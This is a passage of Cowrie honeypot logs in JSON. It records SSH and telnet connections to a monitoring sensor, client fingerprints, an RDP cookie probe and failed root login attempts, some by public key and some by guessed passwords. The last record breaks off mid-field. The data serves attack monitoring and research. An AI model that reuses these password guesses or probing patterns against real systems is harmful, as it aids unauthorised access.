{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:79:a1:85:c9:14:3b:e6:d2:30:26:07:92:6d:a4:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxe9/o516LUBN0Ej+DqVSyQdR32BI7oiJRj0KCa+LmljPKsNjCbuoohSmC17J8oiRvjM6XuVkpu9d2aPpugWrjzgOjq3i/RuLfIkK0PtgVND+yTALh+ZYn/dsY5dPKUO10lZh01Kt86UoOM/1h5Ue1XtQzukVAhd115abN9iG+H/W6BQUE/RgEMAVyzrFcvfaqKPenb+OgQa7yL8l6yB5okpgpeB36dUWZ7PgB4FgBBTT6zT61/HP1Z4rAJG2qHECxnOuRN/KleDdF/D3PENUJFXN83MjcJVXe9cmolEFVdNpZJkMe+M+8JZ8cn0KfB6fYmIgvQjGeivKuB2++ICxrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:79:a1:85:c9:14:3b:e6:d2:30:26:07:92:6d:a4:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:26.645026Z","src_ip":"148.153.121.224","session":"4d883f7c67ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:79:a1:85:c9:14:3b:e6:d2:30:26:07:92:6d:a4:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxe9/o516LUBN0Ej+DqVSyQdR32BI7oiJRj0KCa+LmljPKsNjCbuoohSmC17J8oiRvjM6XuVkpu9d2aPpugWrjzgOjq3i/RuLfIkK0PtgVND+yTALh+ZYn/dsY5dPKUO10lZh01Kt86UoOM/1h5Ue1XtQzukVAhd115abN9iG+H/W6BQUE/RgEMAVyzrFcvfaqKPenb+OgQa7yL8l6yB5okpgpeB36dUWZ7PgB4FgBBTT6zT61/HP1Z4rAJG2qHECxnOuRN/KleDdF/D3PENUJFXN83MjcJVXe9cmolEFVdNpZJkMe+M+8JZ8cn0KfB6fYmIgvQjGeivKuB2++ICxrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:26.650700Z","src_ip":"148.153.121.224","session":"4d883f7c67ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:aa:45:9f:37:45:46:40:4f:64:b1:b7:1c:7c:82:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbvtLmopDAnCLObxOMDovM1YuAjRKV1gCTzRjtLFmFvnX6wE0sui+ttX5LJSGySaFPd9/BkksEKggJh0aOICGsZDr4mOjHwjXMUTmZWnJOT3WWRVmsqVzqnJJw+Aa1CiKiJRd9VcTSfDhidbLQ6CNYuoduXDGehxeTg0IJ2cIAzZ0UggtoL+0A1hOccKkm9vAG2lbC0R4BEVuOG8ginNjG12wOf9/DppK3/4i+eCYm20Rk9eENdQ4Q1Zxh9vEvZ7gyOxyjdy9C7lSyjwCOz3eNQGkPRA06YAEWtAi3lh85gCzAO5v8ppufTbBhTYBMfytOal0daxmO7lFRuz29XL0gePM7ltdFjMKNhbVt4l+1T3agjs2gGG3icGpRK2GHdxGhApQ7g11+f6QFJhbpPtjG2xSLyGDTW7sFxeoZADNMv541pe6ean+Q4Yda8eHL/g4jEBg8mNdYqnG86uhb3/RDSXOdUB8dHqxjJarD3GQs4T03hXAtH2l2jbT63/mQ4Ts=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:aa:45:9f:37:45:46:40:4f:64:b1:b7:1c:7c:82:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:26.695824Z","src_ip":"148.153.121.224","session":"4d883f7c67ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:aa:45:9f:37:45:46:40:4f:64:b1:b7:1c:7c:82:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbvtLmopDAnCLObxOMDovM1YuAjRKV1gCTzRjtLFmFvnX6wE0sui+ttX5LJSGySaFPd9/BkksEKggJh0aOICGsZDr4mOjHwjXMUTmZWnJOT3WWRVmsqVzqnJJw+Aa1CiKiJRd9VcTSfDhidbLQ6CNYuoduXDGehxeTg0IJ2cIAzZ0UggtoL+0A1hOccKkm9vAG2lbC0R4BEVuOG8ginNjG12wOf9/DppK3/4i+eCYm20Rk9eENdQ4Q1Zxh9vEvZ7gyOxyjdy9C7lSyjwCOz3eNQGkPRA06YAEWtAi3lh85gCzAO5v8ppufTbBhTYBMfytOal0daxmO7lFRuz29XL0gePM7ltdFjMKNhbVt4l+1T3agjs2gGG3icGpRK2GHdxGhApQ7g11+f6QFJhbpPtjG2xSLyGDTW7sFxeoZADNMv541pe6ean+Q4Yda8eHL/g4jEBg8mNdYqnG86uhb3/RDSXOdUB8dHqxjJarD3GQs4T03hXAtH2l2jbT63/mQ4Ts=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:26.701697Z","src_ip":"148.153.121.224","session":"4d883f7c67ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:f0:69:a6:4d:30:17:07:be:63:3e:a7:56:5d:5b:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJKqnxVT90+Tli14qB7wTjizN72GpGQDJRM/lb/S65iazazkU3Rozp8LLS55irPLKONVWUH4N9cm8nJ2x2PqY1+JbYvhbBXWPmlIsHS9SByFW/JdX4CiqAhdQczWGcfZxdDs/cgrH+xGa0Ph2W7EmbqzfYzVX5RPEdUwXBFmjo5b9klzW/CKkUF2wb7y2MF0evHAE8QQcMLHA2tPsICfGAYIFZL+rPSZ0WSe9valZGGEd0mMi4jJEmj0g6qrZmiekckEDFlvkcjTPkvPPY1EoEkODI9bB+dC3UgpDLLh0pBRmT/fH+nGPiBb09l48JeTx2k/Mgn1w+tl14moVRPvKTQb6+bxf9Ynd12Nodu5BjOqywqykCceg0+DJnEPgA7GXQwL3TJOO6t4mswsqSJE4+P2wXcMRcrHEs2pTu+59Emx4SdIykan5A8xNluIaP5Roz59kYhzn8dVUF4pLwYSBe/HoVB7BcWiblvC9eOEXPRilaH3g+Oc5Ch0tJZtPc0mqjdp5M1wvMVa8/rd/woALUFzOkL/M8GyeadkakYE78gi4PEbTwjIwCJ8j/v7MilD/8PlHX9HhDMKqKBzvgRkN6IEn2SUi8qzFhFJo19M2gRZ4hGlXh/uKXlCsp/wnYz5OA+N+p3ted7ZDLhXDNyRqtwBDLiSR7uiOIPPg5oPY9pQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:f0:69:a6:4d:30:17:07:be:63:3e:a7:56:5d:5b:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:26.748991Z","src_ip":"148.153.121.224","session":"4d883f7c67ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:f0:69:a6:4d:30:17:07:be:63:3e:a7:56:5d:5b:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJKqnxVT90+Tli14qB7wTjizN72GpGQDJRM/lb/S65iazazkU3Rozp8LLS55irPLKONVWUH4N9cm8nJ2x2PqY1+JbYvhbBXWPmlIsHS9SByFW/JdX4CiqAhdQczWGcfZxdDs/cgrH+xGa0Ph2W7EmbqzfYzVX5RPEdUwXBFmjo5b9klzW/CKkUF2wb7y2MF0evHAE8QQcMLHA2tPsICfGAYIFZL+rPSZ0WSe9valZGGEd0mMi4jJEmj0g6qrZmiekckEDFlvkcjTPkvPPY1EoEkODI9bB+dC3UgpDLLh0pBRmT/fH+nGPiBb09l48JeTx2k/Mgn1w+tl14moVRPvKTQb6+bxf9Ynd12Nodu5BjOqywqykCceg0+DJnEPgA7GXQwL3TJOO6t4mswsqSJE4+P2wXcMRcrHEs2pTu+59Emx4SdIykan5A8xNluIaP5Roz59kYhzn8dVUF4pLwYSBe/HoVB7BcWiblvC9eOEXPRilaH3g+Oc5Ch0tJZtPc0mqjdp5M1wvMVa8/rd/woALUFzOkL/M8GyeadkakYE78gi4PEbTwjIwCJ8j/v7MilD/8PlHX9HhDMKqKBzvgRkN6IEn2SUi8qzFhFJo19M2gRZ4hGlXh/uKXlCsp/wnYz5OA+N+p3ted7ZDLhXDNyRqtwBDLiSR7uiOIPPg5oPY9pQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:26.753061Z","src_ip":"148.153.121.224","session":"4d883f7c67ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:1e:34:ea:40:33:37:56:57:6b:d4:e6:49:7c:f4:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjcbgPsW9Vb+dJcckz4uc/ObMCD633KL4GTcIGwI/7rmKAKleSqX98kVCYO0K9VAdyILCxbocJ5P7+XDwAv0Io7hy2sE0fzMcorEqYVWAfAcHDZMCFTGJHGVrUevbVPdRSI6FDHzbX+cVL6RXFxcvcUVgAWlS8cLJSUgQOq70yS5uAzQT2D4VrBb7fjJPThFkVPOHuZW3LOslMS/RUjzVevw/Mxc3qQJesDbCIAtxD+tymsI0rpQ9O6U3/DSom6S50/wfrM+4piqtW+//WjRXnmoKWkj5VIAZHPQVzseqK+0XLFuEEw4xmghhKipj1sQSMw2xaelE2qkRyvGALOGEz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:1e:34:ea:40:33:37:56:57:6b:d4:e6:49:7c:f4:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:26.798259Z","src_ip":"148.153.121.224","session":"4d883f7c67ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:1e:34:ea:40:33:37:56:57:6b:d4:e6:49:7c:f4:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjcbgPsW9Vb+dJcckz4uc/ObMCD633KL4GTcIGwI/7rmKAKleSqX98kVCYO0K9VAdyILCxbocJ5P7+XDwAv0Io7hy2sE0fzMcorEqYVWAfAcHDZMCFTGJHGVrUevbVPdRSI6FDHzbX+cVL6RXFxcvcUVgAWlS8cLJSUgQOq70yS5uAzQT2D4VrBb7fjJPThFkVPOHuZW3LOslMS/RUjzVevw/Mxc3qQJesDbCIAtxD+tymsI0rpQ9O6U3/DSom6S50/wfrM+4piqtW+//WjRXnmoKWkj5VIAZHPQVzseqK+0XLFuEEw4xmghhKipj1sQSMw2xaelE2qkRyvGALOGEz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:26.802318Z","src_ip":"148.153.121.224","session":"4d883f7c67ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:0e:39:7f:ec:3a:46:03:70:71:d6:d4:50:a1:b2:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCz3F6Tr5T/5odgqtFqVQp8i82GtA8XE7b10oV/hVGJOguB0lir0ACiCrg0+jsvEcpfbx3LMo2y8oh+YZ1A/I7PwKboZoz3A23w5ZbxCkNcpTdbj0QRvufXiaf8gLDBBjh3rJ3q3+4oRB5lXd5DYeO4z0yQ+e6KJBz+Ni9SVB6aL6FBbjigLzCnoun4S486pB/oQ5au+hbYZT7DaOnqjkVn248DzCrdHJRqcNYLPCS1lVlIY0Zmekdb1ClYH6NTNTwnUt+UUKPmqAutFtnZdCkXGp4oRno0L+OhjI3nG1TdLergQJoJG2JvPYF0WWvRVAeUPAJ6drxHQlBA8f5bFuKieEs6QGmEdnt6EzCGBuKcECG2eR23TL7W9M3OAvNeScnv13RBtB9fEzKqN6UD7G06L/q3UW0PnJD/np2WADeQLUeOTGJXieo3tDorqV3+XgLWWpsCQcnTXdTd52MdD8t+7rqcZFKGCOm1xVW/PM0XeQjxcHMKxxFjAj52lQUZNk0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:0e:39:7f:ec:3a:46:03:70:71:d6:d4:50:a1:b2:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:26.845841Z","src_ip":"148.153.121.224","session":"4d883f7c67ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:0e:39:7f:ec:3a:46:03:70:71:d6:d4:50:a1:b2:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCz3F6Tr5T/5odgqtFqVQp8i82GtA8XE7b10oV/hVGJOguB0lir0ACiCrg0+jsvEcpfbx3LMo2y8oh+YZ1A/I7PwKboZoz3A23w5ZbxCkNcpTdbj0QRvufXiaf8gLDBBjh3rJ3q3+4oRB5lXd5DYeO4z0yQ+e6KJBz+Ni9SVB6aL6FBbjigLzCnoun4S486pB/oQ5au+hbYZT7DaOnqjkVn248DzCrdHJRqcNYLPCS1lVlIY0Zmekdb1ClYH6NTNTwnUt+UUKPmqAutFtnZdCkXGp4oRno0L+OhjI3nG1TdLergQJoJG2JvPYF0WWvRVAeUPAJ6drxHQlBA8f5bFuKieEs6QGmEdnt6EzCGBuKcECG2eR23TL7W9M3OAvNeScnv13RBtB9fEzKqN6UD7G06L/q3UW0PnJD/np2WADeQLUeOTGJXieo3tDorqV3+XgLWWpsCQcnTXdTd52MdD8t+7rqcZFKGCOm1xVW/PM0XeQjxcHMKxxFjAj52lQUZNk0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:26.849248Z","src_ip":"148.153.121.224","session":"4d883f7c67ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:26.892759Z","src_ip":"148.153.121.224","session":"4d883f7c67ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":47924,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a2704672e27","protocol":"ssh","message":"New connection: 43.134.104.184:47924 (159.203.135.109:22) [session: 9a2704672e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:32.146733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:32.151253Z","src_ip":"43.134.104.184","session":"9a2704672e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:32.396639Z","src_ip":"43.134.104.184","session":"9a2704672e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"young","message":"login attempt [root/young] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:33.411964Z","src_ip":"43.134.104.184","session":"9a2704672e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:34.660360Z","src_ip":"43.134.104.184","session":"9a2704672e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":41736,"dst_ip":"159.203.135.109","dst_port":22,"session":"b04c49c457de","protocol":"ssh","message":"New connection: 103.75.182.198:41736 (159.203.135.109:22) [session: b04c49c457de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:45.064890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:45.076058Z","src_ip":"103.75.182.198","session":"b04c49c457de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:45.304852Z","src_ip":"103.75.182.198","session":"b04c49c457de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a13071993","message":"login attempt [root/a13071993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:46.246114Z","src_ip":"103.75.182.198","session":"b04c49c457de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:47.487269Z","src_ip":"103.75.182.198","session":"b04c49c457de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.68.149.146","src_port":41630,"dst_ip":"10.17.0.5","dst_port":23,"session":"f251f16f9d4a","protocol":"telnet","message":"New connection: 94.68.149.146:41630 (10.17.0.5:23) [session: f251f16f9d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:47.890280Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":55940,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd19bb0bcb3a","protocol":"telnet","message":"New connection: 213.108.3.46:55940 (10.17.0.5:23) [session: bd19bb0bcb3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:50.488852Z"}
{"eventid":"cowrie.session.closed","duration":0.013641834259033203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:50.502368Z","src_ip":"213.108.3.46","session":"bd19bb0bcb3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55329,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e674fe90a1b","protocol":"ssh","message":"New connection: 152.42.212.128:55329 (159.203.135.109:22) [session: 4e674fe90a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:51.792639Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:51.796356Z","src_ip":"152.42.212.128","session":"4e674fe90a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:51.799007Z","src_ip":"152.42.212.128","session":"4e674fe90a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":36352,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec5fd7edee0a","protocol":"ssh","message":"New connection: 4.184.246.230:36352 (10.17.0.5:22) [session: ec5fd7edee0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:23:01.029600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:23:01.035151Z","src_ip":"4.184.246.230","session":"ec5fd7edee0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:23:01.120973Z","src_ip":"4.184.246.230","session":"ec5fd7edee0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.280585050582886,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:23:01.170742Z","src_ip":"94.68.149.146","session":"f251f16f9d4a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"robot","message":"login attempt [root/robot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:23:01.498322Z","src_ip":"4.184.246.230","session":"ec5fd7edee0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:23:02.587699Z","src_ip":"4.184.246.230","session":"ec5fd7edee0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":56614,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5bf7798433f","protocol":"ssh","message":"New connection: 43.134.112.237:56614 (159.203.135.109:22) [session: e5bf7798433f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:23:19.592639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:23:19.597987Z","src_ip":"43.134.112.237","session":"e5bf7798433f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-gro